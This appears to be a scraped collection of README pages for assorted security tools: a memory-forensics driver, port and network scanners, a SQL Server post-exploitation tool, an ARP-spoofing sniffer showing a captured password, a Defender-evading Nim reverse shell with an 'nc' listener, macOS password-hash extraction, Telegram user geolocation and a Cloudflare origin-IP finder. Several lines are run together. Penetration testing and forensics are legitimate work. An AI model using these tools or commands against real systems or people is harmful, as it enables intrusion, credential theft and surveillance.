You need make and a C compiler. (We recommend gcc, but clang should work as well).
Make sure that you have the linux-headers installed (using whatever package manager your target linux distro has). The exact package name may vary on your distribution. A quick (distro-independent) way to check if you have the package installed:
ls -l /usr/lib/modules/`uname -r`/
That's it, you can proceed to step 2.
Foreign system: Currently, if you want to compile the driver for another system, e.g., because you want to create a memory dump but can't compile on the target, you have to download the header package directly from the package repositories of that system's Linux distribution. Double-check that the package version exactly matches the release and kernel version running on the foreign system. In case the other system is using a self-compiled kernel you have to obtain a copy of that kernel's build directory. Then, place the location of either directory in the KDIR environment variable.
export KDIR=path/to/extracted/header/package/or/kernel/root
Compiling the driver is simple, just type:
make
This should produce linpmem.ko in the current working directory.
You might want to check precompiler.h before and chose whether to compile for release or debug (e.g., with debug printing). There aren't much other precompiler settings right now.
The linpmem.ko module can be loaded by using insmod path-to-linpmem.ko, and unloaded with rmmod path-to-linpmem.ko. (This will load the driver only for this uptime.) If you compiled for debug, also take a look at dmesg.
After loading, for talking to the driver, you need to create the device:
mknod /dev/linpmem c 42 0
If you can't talk to the driver, potentially check in dmesg log to verify that '42' was indeed the registered major:
[12827.900168] linpmem: registered chrdev with major 42
Though usually the kernel would try to really assign this number.
You can use chown on the device to give it to your user, if you do not want to have a root console open all the time. (Or just keep using it in a root console.)
There is an example code demonstrating and explaining (in detail) how to interact with the driver. The user-space API reference can furthermore be found in ./userspace_interface/linpmem_shared.h.
This code is important, if you want to understand how to directly interact with the driver instead of using a library. It can also be used as a short function test.
There is an (optional) basic command line interface tool to Linpmem, the pmem CLI tool. It can be found here: https://github.com/vobst/linpmem-cli. Aside from the source code, there is also a precompiled CLI tool as well as the precompiled static library and headers that can be found here (signed). Note: this is a preliminary version, be sure to check for updates, as many additions and enhancements will follow soon.
The pmem CLI tool can be used for testing the various functions of Linpmem in a (relatively) safe and convenient manner. Linpmem can also be loaded by this tool instead of using insmod/rmmod, with some extra options in future. This also has the advantage that pmem auto-creates the right device for you for immediate use. It is extremely portable and runs on any Linux system (and, in fact, has been tested even on a Linux 2.6).
$ ./pmem -h
Command-line client for the linpmem driver
Usage: pmem [OPTIONS] [COMMAND]
Commands:
insmod Load the linpmem driver
help Print this message or the help of the given subcommand(s)
Options:
-a, --address <ADDRESS> Address for physical read operations
-v, --virt-address <VIRT_ADDRESS> Translate address in target process' address space (default: current process)
-s, --size <SIZE> Size of buffer read operations
-m, --mode <MODE> Access mode for read operations [possible values: byte, word, dword, qword, buffer]
-p, --pid <PID> Target process for cr3 info and virtual-to-physical translations
--cr3 Query cr3 value of target process (default: current process)
--verbose Display debug output
-h, --help Print help (see more with '--help')
-V, --version Print version
If you want to compile the cli tool yourself, change to its directory and follow the instructions in the (cli) Readme to build it. Otherwise, just download the prebuilt program, it should work on any Linux. To load the kernel driver with the cli tool:
# pmem insmod path/to/linpmem.ko
The advantage of using the pmem tool to load the driver is that you do not have to create the device file yourself, and it will offer (on next releases) to choose who owns the linpmem device.
The pmem command line interface is only a thin wrapper around a small Rust library that exposes an API for interfacing with the driver. More advanced users can also use this library. The library is automatically compiled (as static portable library) along with the pmem cli tool when compiling from https://github.com/vobst/linpmem-cli, but also included (precompiled) here (signed). Note: this is a preliminary version, more to follow soon.
If you do not want to use the usermode library and prefer to interface with the driver directly on your own, you can find its user-space API/interface and documentation in ./userspace_interface/linpmem_shared.h. We also provide example code in demo/test.c that explains how to use the driver directly.
Not implemented yet.
If the system reports the following error message when loading the module, it might be because of secure boot:
$ sudo insmod linpmem.ko
insmod: ERROR: could not insert module linpmem.ko: Operation not permitted
There are different ways to still load the module. The obvious one is to disable secure boot in your UEFI settings.
If your distribution supports it, a more elegant solution would be to sign the module before using it. This can be done using the following steps (tested on Ubuntu 20.04).
$ sudo apt install mokutil
$ openssl req -new -newkey rsa:4096 -keyout mok-signing.key -out mok-signing.crt -outform DER -days 365 -nodes -subj "/CN=Some descriptive name/"
$ sudo mokutil --import mok-signing.crt
$ /usr/src/linux-headers-$(uname -r)/scripts/sign-file sha256 path/to/mok-singing/MOK.key path/to//MOK.cert path/to/linpmem.ko
After that, you should be able to load the module.
Note that from a forensic-readiness perspective, you should prepare a signed module before you need it, as the system will reboot twice during the process described above, destroying most of your volatile data in memory.
(Please report potential issues if you encounter anything.)
Linpmem, as well as Winpmem, would not exist without the work of our predecessors of the (now retired) REKALL project: https://github.com/google/rekall.
Our open source contributors:
The tool was published as part of a research about Docker named pipes:
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation β Part 1"
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation β Part 2"
PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.
Double-click the EXE binary and you will get the list of all named pipes.
We used Visual Studio to compile it.
When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:
Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-FileWe built the project and uploaded it so you can find it in the releases.
One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
Note that James Forshaw talked about it here.
We can't change it because we depend on third-party DLL.
We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.
Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
This repository is licensed under Apache-2.0 License - see LICENSE for more details.
For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.
PySQLRecon is a Python port of the awesome SQLRecon project by @sanjivkawa. See the commands section for a list of capabilities.
PySQLRecon can be installed with pip3 install pysqlrecon or by cloning this repository and running pip3 install .
All of the main modules from SQLRecon have equivalent commands. Commands noted with [PRIV] require elevated privileges or sysadmin rights to run. Alternatively, commands marked with [NORM] can likely be run by normal users and do not require elevated privileges.
Support for impersonation ([I]) or execution on linked servers ([L]) are denoted at the end of the command description.
adsi [PRIV] Obtain ADSI creds from ADSI linked server [I,L]
agentcmd [PRIV] Execute a system command using agent jobs [I,L]
agentstatus [PRIV] Enumerate SQL agent status and jobs [I,L]
checkrpc [NORM] Enumerate RPC status of linked servers [I,L]
clr [PRIV] Load and execute .NET assembly in a stored procedure [I,L]
columns [NORM] Enumerate columns within a table [I,L]
databases [NORM] Enumerate databases on a server [I,L]
disableclr [PRIV] Disable CLR integration [I,L]
disableole [PRIV] Disable OLE automation procedures [I,L]
disablerpc [PRIV] Disable RPC and RPC Out on linked server [I]
disablexp [PRIV] Disable xp_cmdshell [I,L]
enableclr [PRIV] Enable CLR integration [I,L]
enableole [PRIV] Enable OLE automation procedures [I,L]
enablerpc [PRIV] Enable RPC and RPC Out on linked server [I]
enablexp [PRIV] Enable xp_cmdshell [I,L]
impersonate [NORM] Enumerate users that can be impersonated
info [NORM] Gather information about the SQL server
links [NORM] Enumerate linked servers [I,L]
olecmd [PRIV] Execute a system command using OLE automation procedures [I,L]
query [NORM] Execute a custom SQL query [I,L]
rows [NORM] Get the count of rows in a table [I,L]
search [NORM] Search a table for a column name [I,L]
smb [NORM] Coerce NetNTLM auth via xp_dirtree [I,L]
tables [NORM] Enu merate tables within a database [I,L]
users [NORM] Enumerate users with database access [I,L]
whoami [NORM] Gather logged in user, mapped user and roles [I,L]
xpcmd [PRIV] Execute a system command using xp_cmdshell [I,L]
PySQLRecon has global options (available to any command), with some commands introducing additional flags. All global options must be specified before the command name:
pysqlrecon [GLOBAL_OPTS] COMMAND [COMMAND_OPTS]
View global options:
pysqlrecon --help
View command specific options:
pysqlrecon [GLOBAL_OPTS] COMMAND --help
Change the database authenticated to, or used in certain PySQLRecon commands (query, tables, columns rows), with the --database flag.
Target execution of a PySQLRecon command on a linked server (instead of the SQL server being authenticated to) using the --link flag.
Impersonate a user account while running a PySQLRecon command with the --impersonate flag.
--link and --impersonate and incompatible.
pysqlrecon uses Poetry to manage dependencies. Install from source and setup for development with:
git clone https://github.com/tw1sm/pysqlrecon
cd pysqlrecon
poetry install
poetry run pysqlrecon --help
PySQLRecon is easily extensible - see the template and instructions in resources
MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.
MacMaster requires Python 3.6 or later.
$ git clone https://github.com/HalilDeniz/MacMaster.gitcd MacMaster$ python setup.py install$ macmaster --help
usage: macmaster [-h] [--interface INTERFACE] [--version]
[--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]
MacMaster: Mac Address Changer
options:
-h, --help show this help message and exit
--interface INTERFACE, -i INTERFACE
Network interface to change MAC address
--version, -V Show the version of the program
--random, -r Set a random MAC address
--newmac NEWMAC, -nm NEWMAC
Set a specific MAC address
--customoui CUSTOMOUI, -co CUSTOMOUI
Set a custom OUI for the MAC address
--reset, -rs Reset MAC address to the original value--interface, -i: Specify the network interface.--random, -r: Set a random MAC address.--newmac, -nm: Set a specific MAC address.--customoui, -co: Set a custom OUI for the MAC address.--reset, -rs: Reset MAC address to the original value.--version, -V: Show the version of the program.$ macmaster.py -i eth0 -nm 00:11:22:33:44:55$ macmaster.py -i eth0 -r$ macmaster.py -i eth0 -rs$ macmaster.py -i eth0 -co 08:00:27$ macmaster.py -VReplace eth0 with your desired network interface.
You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.
Contributions are welcome! To contribute to MacMaster, follow these steps:
For any inquiries or further information, you can reach me through the following channels:
NetworkSherlock is a powerful and flexible port scanning tool designed for network security professionals and penetration testers. With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets. It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices. This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats. By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues.
NetworkSherlock requires Python 3.6 or later.
git clone https://github.com/HalilDeniz/NetworkSherlock.gitpip install -r requirements.txtUpdate the networksherlock.cfg file with your Shodan API key:
[SHODAN]
api_key = YOUR_SHODAN_API_KEYpython3 networksherlock.py --help
usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target
NetworkSherlock: Port Scan Tool
positional arguments:
target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5,
192.168.1.0/24)
options:
-h, --help show this help message and exit
-p PORTS, --ports PORTS
Ports to scan (e.g. 1-1024, 21,22,80, or 80)
-t THREADS, --threads THREADS
Number of threads to use
-P {tcp,udp}, --protocol {tcp,udp}
Protocol to use for scanning
-V, --version-info Used to get version information
-s SAVE_RESULTS, --save-results SAVE_RESULTS
File to save scan results
-c, --ping-check Perform ping check before scanning
--use-shodan Enable Shodan integration for additional information
target: The target IP address(es), IP range, or CIDR block to scan.-p, --ports: Ports to scan (e.g., 1-1000, 22,80,443).-t, --threads: Number of threads to use.-P, --protocol: Protocol to use for scanning (tcp or udp).-V, --version-info: Obtain version information during banner grabbing.-s, --save-results: Save results to the specified file.-c, --ping-check: Perform a ping check before scanning.--use-shodan: Enable Shodan integration.Scan a single IP address on default ports:
python networksherlock.py 192.168.1.1Scan an IP address with a custom range of ports:
python networksherlock.py 192.168.1.1 -p 1-1024Scan multiple IP addresses on specific ports:
python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443Scan an entire subnet using CIDR notation:
python networksherlock.py 192.168.1.0/24 -p 80Perform a scan using multiple threads for faster execution:
python networksherlock.py 192.168.1.1-192.168.1.5 -p 1-1024 -t 20Scan using a specific protocol (TCP or UDP):
python networksherlock.py 192.168.1.1 -p 53 -P udppython networksherlock.py 192.168.1.1 --use-shodanpython networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443 -V --use-shodanPerform a detailed scan with banner grabbing and save results to a file:
python networksherlock.py 192.168.1.1 -p 1-1000 -V -s results.txtScan an IP range after performing a ping check:
python networksherlock.py 10.0.0.1-10.0.0.255 -c$ python3 networksherlock.py 10.0.2.12 -t 25 -V -p 21-6000 -t 25
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21-6000
Threads : 25
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
21 /tcp open telnet 220 (vsFTPd 2.3.4)
80 /tcp open http HTTP/1.1 200 OK
139 /tcp open netbios-ssn %SMBr
25 /tcp open smtp 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
23 /tcp open smtp #' #'
445 /tcp open microsoft-ds %SMBr
514 /tcp open shell
512 /tcp open exec Where are you?
1524/tcp open ingreslock ro ot@metasploitable:/#
2121/tcp open iprop 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.2.12]
3306/tcp open mysql >
5900/tcp open unknown RFB 003.003
53 /tcp open domain
---------------------------------------------$ python3 networksherlock.py 10.0.2.0/24 -t 10 -V -p 21-1000
********************************************
Scanning target: 10.0.2.1
Scanning IP : 10.0.2.1
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
53 /tcp open domain
********************************************
Scanning target: 10.0.2.2
Scanning IP : 10.0.2.2
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
445 /tcp open microsoft-ds
135 /tcp open epmap
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21- 1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
21 /tcp open ftp 220 (vsFTPd 2.3.4)
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
23 /tcp open telnet #'
80 /tcp open http HTTP/1.1 200 OK
53 /tcp open kpasswd 464/udpcp
445 /tcp open domain %SMBr
3306/tcp open mysql >
********************************************
Scanning target: 10.0.2.20
Scanning IP : 10.0.2.20
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9Contributions are welcome! To contribute to NetworkSherlock, follow these steps:
Reverse shell that can bypass windows defender detection
$ apt install nim
nim c -d:mingw --app:gui nimshell.nim
Change the IP address and port number you want to listen to in the nimshell.nim file according to your device.
$ nc -nvlp 4444
PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.
git clone https://github.com/HalilDeniz/PacketSpy.git
PacketSpy requires the following dependencies to be installed:
pip install -r requirements.txt
To get started with PacketSpy, use the following command-line options:
root@denizhalil:/PacketSpy# python3 packetspy.py --help
usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD]
options:
-h, --help show this help message and exit
-t TARGET_IP, --target TARGET_IP
Target IP address
-g GATEWAY_IP, --gateway GATEWAY_IP
Gateway IP address
-i INTERFACE, --interface INTERFACE
Interface name
-tf TARGET_FIND, --targetfind TARGET_FIND
Target IP range to find
--ip-forward, -if Enable packet forwarding
-m METHOD, --method METHOD
Limit sniffing to a specific HTTP method
root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0
Device discovery
**************************************
Ip Address Mac Address
**************************************
10.0.2.1 52:54:00:12:35:00
10.0.2.2 52:54:00:12:35:00
10.0.2.3 08:00:27:78:66:95
10.0.2.11 08:00:27:65:96:cd
10.0.2.12 08:00:27:2f:64:fe
root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0
******************* started sniff *******************
HTTP Request:
Method: b'POST'
Host: b'testphp.vulnweb.com'
Path: b'/userinfo.php'
Source IP: 10.0.2.20
Source MAC: 08:00:27:04:e8:82
Protocol: HTTP
User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'
Raw Payload:
b'uname=admin&pass=mysecretpassword'
HTTP Response:
Status Code: b'302'
Content Type: b'text/html; charset=UTF-8'
--------------------------------------------------
Https work still in progress
Contributions are welcome! To contribute to PacketSpy, follow these steps:
If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me:
PacketSpy is released under the MIT License. See LICENSE for more information.
Telegram Nearby Map uses OpenStreetMap and the official Telegram library to find the position of nearby users.
Please note: Telegram's API was updated a while ago to make nearby user distances less precise, preventing exact location calculations. Therefore, Telegram Nearby Map displays users nearby, but does not show their exact location.
Inspired by Ahmed's blog post and a Hacker News discussion. Developed by github.com/tejado.
Every 25 seconds all nearby users will be received with TDLib from Telegram. This includes the distance of every nearby user to "my" location. With three distances from three different points, it is possible to calculate the position of the nearby user.
This only finds Telegram users which have activated the nearby feature. Per default it is deactivated.
Requirements: node.js and an Telegram account
APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning.
Before running APIDetector, ensure you have Python 3.x and pip installed on your system. You can download Python here.
Clone the APIDetector repository to your local machine using:
git clone https://github.com/brinhosa/apidetector.git
cd apidetector
pip install requests Run APIDetector using the command line. Here are some usage examples:
Common usage, scan with 30 threads a list of subdomains using a Chrome user-agent and save the results in a file:
python apidetector.py -i list_of_company_subdomains.txt -o results_file.txt -t 30 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"To scan a single domain:
python apidetector.py -d example.comTo scan multiple domains from a file:
python apidetector.py -i input_file.txtTo specify an output file:
python apidetector.py -i input_file.txt -o output_file.txtTo use a specific number of threads:
python apidetector.py -i input_file.txt -t 20To scan with both HTTP and HTTPS protocols:
python apidetector.py -m -d example.comTo run the script in quiet mode (suppress verbose output):
python apidetector.py -q -d example.comTo run the script with a custom user-agent:
python apidetector.py -d example.com -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"-d, --domain: Single domain to test.-i, --input: Input file containing subdomains to test.-o, --output: Output file to write valid URLs to.-t, --threads: Number of threads to use for scanning (default is 10).-m, --mixed-mode: Test both HTTP and HTTPS protocols.-q, --quiet: Disable verbose output (default mode is verbose).-ua, --user-agent: Custom User-Agent string for requests.Exposing Swagger or OpenAPI documentation endpoints can present various risks, primarily related to information disclosure. Here's an ordered list based on potential risk levels, with similar endpoints grouped together APIDetector scans:
'/swagger-ui.html', '/swagger-ui/', '/swagger-ui/index.html', '/api/swagger-ui.html', '/documentation/swagger-ui.html', '/swagger/index.html', '/api/docs', '/docs', '/api/swagger-ui', '/documentation/swagger-ui'
'/openapi.json', '/swagger.json', '/api/swagger.json', '/swagger.yaml', '/swagger.yml', '/api/swagger.yaml', '/api/swagger.yml', '/api.json', '/api.yaml', '/api.yml', '/documentation/swagger.json', '/documentation/swagger.yaml', '/documentation/swagger.yml'
'/v2/api-docs', '/v3/api-docs', '/api/v2/swagger.json', '/api/v3/swagger.json', '/api/v1/documentation', '/api/v2/documentation', '/api/v3/documentation', '/api/v1/api-docs', '/api/v2/api-docs', '/api/v3/api-docs', '/swagger/v2/api-docs', '/swagger/v3/api-docs', '/swagger-ui.html/v2/api-docs', '/swagger-ui.html/v3/api-docs', '/api/swagger/v2/api-docs', '/api/swagger/v3/api-docs'
'/swagger-resources', '/swagger-resources/configuration/ui', '/swagger-resources/configuration/security', '/api/swagger-resources', '/api.html'
Contributions to APIDetector are welcome! Feel free to fork the repository, make changes, and submit pull requests.
The use of APIDetector should be limited to testing and educational purposes only. The developers of APIDetector assume no liability and are not responsible for any misuse or damage caused by this tool. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no responsibility for unauthorized or illegal use of this tool. Before using APIDetector, ensure you have permission to test the network or systems you intend to scan.
This project is licensed under the MIT License.
A bash script to retrieve user's .plist files on a macOS system and to convert the data inside it to a crackable hash format. (to use with John The Ripper or Hashcat)
Useful for CTFs/Pentesting/Red Teaming on macOS systems.
sudo)sudo ./osx_password_cracker.sh OUTPUT_FILE /path/to/save/.plist
NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.
You can download the program from the GitHub page.
$ git clone https://github.com/HalilDeniz/NetProbe.gitTo install the required libraries, run the following command:
$ pip install -r requirements.txtTo run the program, use the following command:
$ python3 netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]-h,--help: show this help message and exit-t,--target: Target IP address or subnet (default: 192.168.1.0/24)-i,--interface: Interface to use (default: None)-l,--live: Enable live tracking of devices-o,--output: Output file to save the results-m,--manufacturer: Filter by manufacturer (e.g., 'Apple')-r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')-s,--scan-rate: Scan rate in seconds (default: 5)$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l$ python3 netprobe.py --help
usage: netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]
NetProbe: Network Scanner Tool
options:
-h, --help show this help message and exit
-t [ ...], --target [ ...]
Target IP address or subnet (default: 192.168.1.0/24)
-i [ ...], --interface [ ...]
Interface to use (default: None)
-l, --live Enable live tracking of devices
-o , --output Output file to save the results
-m , --manufacturer Filter by manufacturer (e.g., 'Apple')
-r , --ip-range Filter by IP range (e.g., '192.168.1.0/24')
-s , --scan-rate Scan rate in seconds (default: 5)
$ python3 netprobe.py You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.
$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -lYou can save the scan results to a file by using the -o or --output flag followed by the desired output file name.
$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt
ββββββββββββββββ³ββββββββββββββββββββ³ββββββββββββββ³βββββββββββββββββββββββββββββββ
β IP Address β MAC Address β Packet Size β Manufacturer β
β‘ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.1.1 β **:6e:**:97:**:28 β 102 β ASUSTek COMPUTER INC. β
β 192.168.1.3 β 00:**:22:**:12:** β 102 β InPro Comm β
β 192.168.1.2 β **:32:**:bf:**:00 β 102 β Xiaomi Communications Co Ltd β
β 192.168.1.98 β d4:**:64:**:5c:** β 102 β ASUSTek COMPUTER INC. β
β 192.168.1.25 β **:49:**:00:**:38 β 102 β Unknown β
ββββββββββββββββ΄ββββββββββββββββββββ΄ββββββββββββββ΄βββββββββββββββββββββββββββββββ
If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:
This program is released under the MIT LICENSE. See LICENSE for more information.
DOUGLAS-042 stands as an ingenious embodiment of a PowerShell script meticulously designed to expedite the triage process and facilitate the meticulous collection of crucial evidence derived from both forensic artifacts and the ephemeral landscape of volatile data. Its fundamental mission revolves around providing indispensable aid in the arduous task of pinpointing potential security breaches within Windows ecosystems. With an overarching focus on expediency, DOUGLAS-042 orchestrates the efficient prioritization and methodical aggregation of data, ensuring that no vital piece of information eludes scrutiny when investigating a possible compromise. As a testament to its organized approach, the amalgamated data finds its sanctuary within the confines of a meticulously named text file, bearing the nomenclature of the host system's very own hostname. This practice of meticulous data archival emerges not just as a systematic convention, but as a cornerstone that paves the way for seamless transitions into subsequent stages of the Forensic journey.
Using administrative privileges, just run the script from a PowerShell console, then the results will be saved in the directory as a txt file.
$ PS >./douglas.ps1
$ PS >./douglas.ps1 -a
py-amsi is a library that scans strings or files for malware using the Windows Antimalware Scan Interface (AMSI) API. AMSI is an interface native to Windows that allows applications to ask the antivirus installed on the system to analyse a file/string. AMSI is not tied to Windows Defender. Antivirus providers implement the AMSI interface to receive calls from applications. This library takes advantage of the API to make antivirus scans in python. Read more about the Windows AMSI API here.
Via pip
pip install pyamsi
Clone repository
git clone https://github.com/Tomiwa-Ot/py-amsi.git
cd py-amsi/
python setup.py installfrom pyamsi import Amsi
# Scan a file
Amsi.scan_file(file_path, debug=True) # debug is optional and False by default
# Scan string
Amsi.scan_string(string, string_name, debug=False) # debug is optional and False by default
# Both functions return a dictionary of the format
# {
# 'Sample Size' : 68, // The string/file size in bytes
# 'Risk Level' : 0, // The risk level as suggested by the antivirus
# 'Message' : 'File is clean' // Response message
# }| Risk Level | Meaning |
|---|---|
| 0 | AMSI_RESULT_CLEAN (File is clean) |
| 1 | AMSI_RESULT_NOT_DETECTED (No threat detected) |
| 16384 | AMSI_RESULT_BLOCKED_BY_ADMIN_START (Threat is blocked by the administrator) |
| 20479 | AMSI_RESULT_BLOCKED_BY_ADMIN_END (Threat is blocked by the administrator) |
| 32768 | AMSI_RESULT_DETECTED (File is considered malware) |
https://tomiwa-ot.github.io/py-amsi/index.html
AcuAutomate is an unofficial Acunetix CLI tool that simplifies automated pentesting and bug hunting across extensive targets. It's a valuable aid during large-scale pentests, enabling the easy launch or stoppage of multiple Acunetix scans simultaneously. Additionally, its versatile functionality seamlessly integrates into enumeration wrappers or one-liners, offering efficient control through its pipeline capabilities.
git clone https://github.com/danialhalo/AcuAutomate.git
cd AcuAutomate
chmod +x AcuAutomate.py
pip3 install -r requirements.txt
Before using AcuAutomate, you need to set up the configuration file config.json inside the AcuAutomate folder:
{
"url": "https://localhost",
"port": 3443,
"api_key": "API_KEY"
}The help parameter (-h) can be used for accessing more detailed help for specific actions
__ _ ___
____ ________ ______ ___ / /_(_) __ _____/ (_)
/ __ `/ ___/ / / / __ \/ _ \/ __/ / |/_/_____/ ___/ / /
/ /_/ / /__/ /_/ / / / / __/ /_/ /> </_____/ /__/ / /
\__,_/\___/\__,_/_/ /_/\___/\__/_/_/|_| \___/_/_/
-: By Danial Halo :-
usage: AcuAutomate.py [-h] {scan,stop} ...
Launch or stop a scan using Acunetix API
positional arguments:
{scan,stop} Action to perform
scan Launch a scan use scan -h
stop Stop a scan
options:
-h, --help show this help message and exit
For launching the scan you need to use the scan actions:
xubuntu:~/AcuAutomate$ ./AcuAutomate.py scan -h
usage: AcuAutomate.py scan [-h] [-p] [-d DOMAIN] [-f FILE]
[-t {full,high,weak,crawl,xss,sql}]
options:
-h, --help show this help message and exit
-p, --pipe Read from pipe
-d DOMAIN, --domain DOMAIN
Domain to scan
-f FILE, --file FILE File containing list of URLs to scan
-t {full,high,weak,crawl,xss,sql}, --type {full,high,weak,crawl,xss,sql}
High Risk Vulnerabilities Scan, Weak Password Scan, Crawl Only,
XSS Scan, SQL Injection Scan, Full Scan (by default)The domain can be provided with -d flag for single site scan:
./AcuAutomate.py scan -d https://www.google.com
For scanning multiple domains the domains need to be added into the file and then specify the file name with -f flag:
./AcuAutomate.py scan -f domains.txt
The AcuAutomate can also worked with the pipeline input with -p flag:
cat domain.txt | ./AcuAutomate.py scan -p
This is Great ο as it can enable the AcuAutomate to work with other tools. For example we can use the subfinder , httpx and then pipe the output to AcuAutomate for mass scanning with acunetix:
subfinder -silent -d google.com | httpx -silent | ./AcuAutomate.py scan -p
The -t flag can be used to define the scan type. For example the following scan will only detect the SQL vulnerabilities:
./AcuAutomate.py scan -d https://www.google.com -t sql
AcuAutomate only accept the domains with http:// or https://
The stop action can be used for stoping the scan either with -d flag for stoping scan by specifing the domain or with -a flage for stopping all running scans.
xubuntu:~/AcuAutomate$ ./AcuAutomate.py stop -h
__ _ ___
____ ________ ______ ___ / /_(_) __ _____/ (_)
/ __ `/ ___/ / / / __ \/ _ \/ __/ / |/_/_____/ ___/ / /
/ /_/ / /__/ /_/ / / / / __/ /_/ /> </_____/ /__/ / /
\__,_/\___/\__,_/_/ /_/\___/\__/_/_/|_| \___/_/_/
-: By Danial Halo :-
usage: AcuAutomate.py stop [-h] [-d DOMAIN] [-a]
options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain of the scan to stop
-a, --all Stop all Running Scans
Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter. @DanialHalo
CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.
Key Features:
Real IP Detection: CloakQuest3r excels in the art of discovering the real IP address of web servers employing Cloudflare's services. This crucial information is paramount for conducting comprehensive penetration tests and ensuring the security of web assets.
Subdomain Scanning: Subdomain scanning is harnessed as a fundamental component in the process of finding the real IP address. It aids in the identification of the actual server responsible for hosting the website and its associated subdomains.
Threaded Scanning: To enhance efficiency and expedite the real IP detection process, CloakQuest3r utilizes threading. This feature enables scanning of a substantial list of subdomains without significantly extending the execution time.
Detailed Reporting: The tool provides comprehensive output, including the total number of subdomains scanned, the total number of subdomains found, and the time taken for the scan. Any real IP addresses unveiled during the process are also presented, facilitating in-depth analysis and penetration testing.
With CloakQuest3r, you can confidently evaluate website security, unveil hidden vulnerabilities, and secure your web assets by disclosing the true IP address concealed behind Cloudflare's protective layers.
- Still in the development phase, sometimes it can't detect the real Ip.
- CloakQuest3r combines multiple indicators to uncover real IP addresses behind Cloudflare. While subdomain scanning is a part of the process, we do not assume that all subdomains' A records point to the target host. The tool is designed to provide valuable insights but may not work in every scenario. We welcome any specific suggestions for improvement.
